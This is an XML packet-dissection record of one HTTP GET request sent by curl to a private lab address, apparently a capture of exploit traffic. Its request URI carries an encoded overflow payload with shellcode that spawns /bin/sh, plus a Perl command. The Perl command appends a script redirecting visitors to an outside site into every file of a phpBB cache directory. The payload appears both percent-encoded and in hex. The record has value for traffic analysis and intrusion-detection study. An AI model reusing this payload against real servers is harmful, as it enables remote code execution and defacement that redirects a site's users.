<proto name="http" showname="Hypertext Transfer Protocol" size="1234" pos="68">
    <field name="" show="[truncated] GET /csv/test.csv?%B9p%04%B4%B8%97G5%91J%B2%BFv%2F%BB%3D%7B%14%86%FC7%0A%E2%0DHy%25A%A8zf%12%EB0%FD%1A%F5%A9I%96r&apos;%05%1D%2C%994F%24%B1Bt(%F8%3Fuw%3C~NC%15%1CK%9B%90O%B0%8D%BA%0C%92%93k%D4%B6%03%D6s%7Fg%B7%9F%40%98%BE%7D%05%BF%A" size="1097" pos="68" value="474554202f6373762f746573742e6373763f2542397025303425423425423825393747352539314a25423225424676253246254242253344253742253134253836254643372530412545322530444879253235412541387a6625313225454230254644253141254635254139492539367227253035253144253243253939344625323425423142742825463825334675772533437e4e432531352531434b2539422539304f2542302538442542412530432539322539336b2544342542362530332544367325374667254237253946253430253938254245253744253035254246254139254241253831254531717e253235253344253844253835254636254533724f2539372542342537462531392546392531447a25334343253030254643757025303425374325313025463525424525324641742125453025374225324325423125424278792530434a2542322d46254235253838254432254644254239253932253942253135253933253830254435732534304925323425303925443025453277764b2533462539312531432542386647254230322545424248254233253839254436253939312544312545322a2544342539467973702530442542372537463776692546387a4e254138253742277825313425393825393625393025423675253038254433254531253342254542356771253341254530342541382537443925443577253235743425374325303525424247254230254245253230254635254238253837254331254639253938492542392542372541392542342533442533432542462530442542367e2531354b2539302530322543302545332532342539312539334f6725393625384472253133254638412d2539464225324643482542332531342539372539422539322539392530342542414a2542312725324325314325423525304325464466464e35253144254232254436254643253430253138254434253346376a253042582539395266682d632538392545376825324673682530306825324662696e253839254533522545382542352530302530302530307065726c2532302d65253230272534306466696c657325323025334425323025334325324676617225324677777725324670687062623325324663616368652532462a253345253342253230666f726561636825323025323466696c65253230282534306466696c6573292532302537422532306f70656e284625324325323025323225334525334525323466696c65253232292533422532307072696e74253230462532302532322533437363726970742533456c6f636174696f6e2e7265706c61636528253543253232687474702533412532462532467468657069726174656261792e6f7267253543253232292533432532467363726970742533452535436e253232253342253230636c6f736528462925334225323025374427253030575325383925453125434425383025323225464325303425303820485454502f312e310d0a">
      <field name="http.request.method" showname="Request Method: GET" size="3" pos="68" show="GET" value="474554"/>
      <field name="http.request.uri" showname="Request URI [truncated]: /csv/test.csv?%B9p%04%B4%B8%97G5%91J%B2%BFv%2F%BB%3D%7B%14%86%FC7%0A%E2%0DHy%25A%A8zf%12%EB0%FD%1A%F5%A9I%96r&apos;%05%1D%2C%994F%24%B1Bt(%F8%3Fuw%3C~NC%15%1CK%9B%90O%B0%8D%BA%0C%92%93k%D4%B6%03%D6s%7Fg%B7%9F%40%98%BE%7" size="1082" pos="72" show="/csv/test.csv?%B9p%04%B4%B8%97G5%91J%B2%BFv%2F%BB%3D%7B%14%86%FC7%0A%E2%0DHy%25A%A8zf%12%EB0%FD%1A%F5%A9I%96r&apos;%05%1D%2C%994F%24%B1Bt(%F8%3Fuw%3C~NC%15%1CK%9B%90O%B0%8D%BA%0C%92%93k%D4%B6%03%D6s%7Fg%B7%9F%40%98%BE%7D%05%BF%A9%BA%81%E1q~%25%3D%8D%85%F6%E3rO%97%B4%7F%19%F9%1Dz%3CC%00%FCup%04%7C%10%F5%BE%2FAt!%E0%7B%2C%B1%BBxy%0CJ%B2-F%B5%88%D2%FD%B9%92%9B%15%93%80%D5s%40I%24%09%D0%E2wvK%3F%91%1C%B8fG%B02%EBBH%B3%89%D6%991%D1%E2*%D4%9Fysp%0D%B7%7F7vi%F8zN%A8%7B&apos;x%14%98%96%90%B6u%08%D3%E1%3B%EB5gq%3A%E04%A8%7D9%D5w%25t4%7C%05%BBG%B0%BE%20%F5%B8%87%C1%F9%98I%B9%B7%A9%B4%3D%3C%BF%0D%B6~%15K%90%02%C0%E3%24%91%93Og%96%8Dr%13%F8A-%9FB%2FCH%B3%14%97%9B%92%99%04%BAJ%B1&apos;%2C%1C%B5%0C%FDfFN5%1D%B2%D6%FC%40%18%D4%3F7j%0BX%99Rfh-c%89%E7h%2Fsh%00h%2Fbin%89%E3R%E8%B5%00%00%00perl%20-e%20&apos;%40dfiles%20%3D%20%3C%2Fvar%2Fwww%2Fphpbb3%2Fcache%2F*%3E%3B%20foreach%20%24file%20(%40dfiles)%20%7B%20open(F%2C%20%22%3E%3E%24file%22)%3B%20print%20F%20%22%3Cscript%3Elocation.replace(%5C%22http%3A%2F%2Fthepiratebay.org%5C%22)%3C%2Fscript%3E%5Cn%22%3B%20close(F)%3B%20%7D&apos;%00WS%89%E1%CD%80%22%FC%04%08" value="2f6373762f746573742e6373763f2542397025303425423425423825393747352539314a25423225424676253246254242253344253742253134253836254643372530412545322530444879253235412541387a6625313225454230254644253141254635254139492539367227253035253144253243253939344625323425423142742825463825334675772533437e4e432531352531434b2539422539304f2542302538442542412530432539322539336b2544342542362530332544367325374667254237253946253430253938254245253744253035254246254139254241253831254531717e253235253344253844253835254636254533724f2539372542342537462531392546392531447a25334343253030254643757025303425374325313025463525424525324641742125453025374225324325423125424278792530434a2542322d46254235253838254432254644254239253932253942253135253933253830254435732534304925323425303925443025453277764b2533462539312531432542386647254230322545424248254233253839254436253939312544312545322a2544342539467973702530442542372537463776692546387a4e254138253742277825313425393825393625393025423675253038254433254531253342254542356771253341254530342541382537443925443577253235743425374325303525424247254230254245253230254635254238253837254331254639253938492542392542372541392542342533442533432542462530442542367e2531354b2539302530322543302545332532342539312539334f6725393625384472253133254638412d2539464225324643482542332531342539372539422539322539392530342542414a2542312725324325314325423525304325464466464e35253144254232254436254643253430253138254434253346376a253042582539395266682d632538392545376825324673682530306825324662696e253839254533522545382542352530302530302530307065726c2532302d65253230272534306466696c657325323025334425323025334325324676617225324677777725324670687062623325324663616368652532462a253345253342253230666f726561636825323025323466696c65253230282534306466696c6573292532302537422532306f70656e284625324325323025323225334525334525323466696c65253232292533422532307072696e74253230462532302532322533437363726970742533456c6f636174696f6e2e7265706c61636528253543253232687474702533412532462532467468657069726174656261792e6f7267253543253232292533432532467363726970742533452535436e253232253342253230636c6f7365284629253342253230253744272530305753253839254531254344253830253232254643253034253038"/>
      <field name="http.request.version" showname="Request Version: HTTP/1.1" size="8" pos="1155" show="HTTP/1.1" value="485454502f312e31"/>
    </field>
    <field name="http.user_agent" showname="User-Agent: curl/7.18.0 (i486-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1\r\n" size="99" pos="1165" show="curl/7.18.0 (i486-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1" value="557365722d4167656e743a206375726c2f372e31382e302028693438362d70632d6c696e75782d676e7529206c69626375726c2f372e31382e30204f70656e53534c2f302e392e3867207a6c69622f312e322e332e33206c696269646e2f312e310d0a"/>
    <field name="http.host" showname="Host: 192.168.147.128\r\n" size="23" pos="1264" show="192.168.147.128" value="486f73743a203139322e3136382e3134372e3132380d0a"/>
    <field name="http.accept" showname="Accept: */*\r\n" size="13" pos="1287" show="*/*" value="4163636570743a202a2f2a0d0a"/>
    <field name="" show="\r\n" size="2" pos="1300" value="0d0a"/>
    <field name="http.request" showname="Request: True" hide="yes" size="0" pos="68" show="1"/>
  </proto>
</packet>



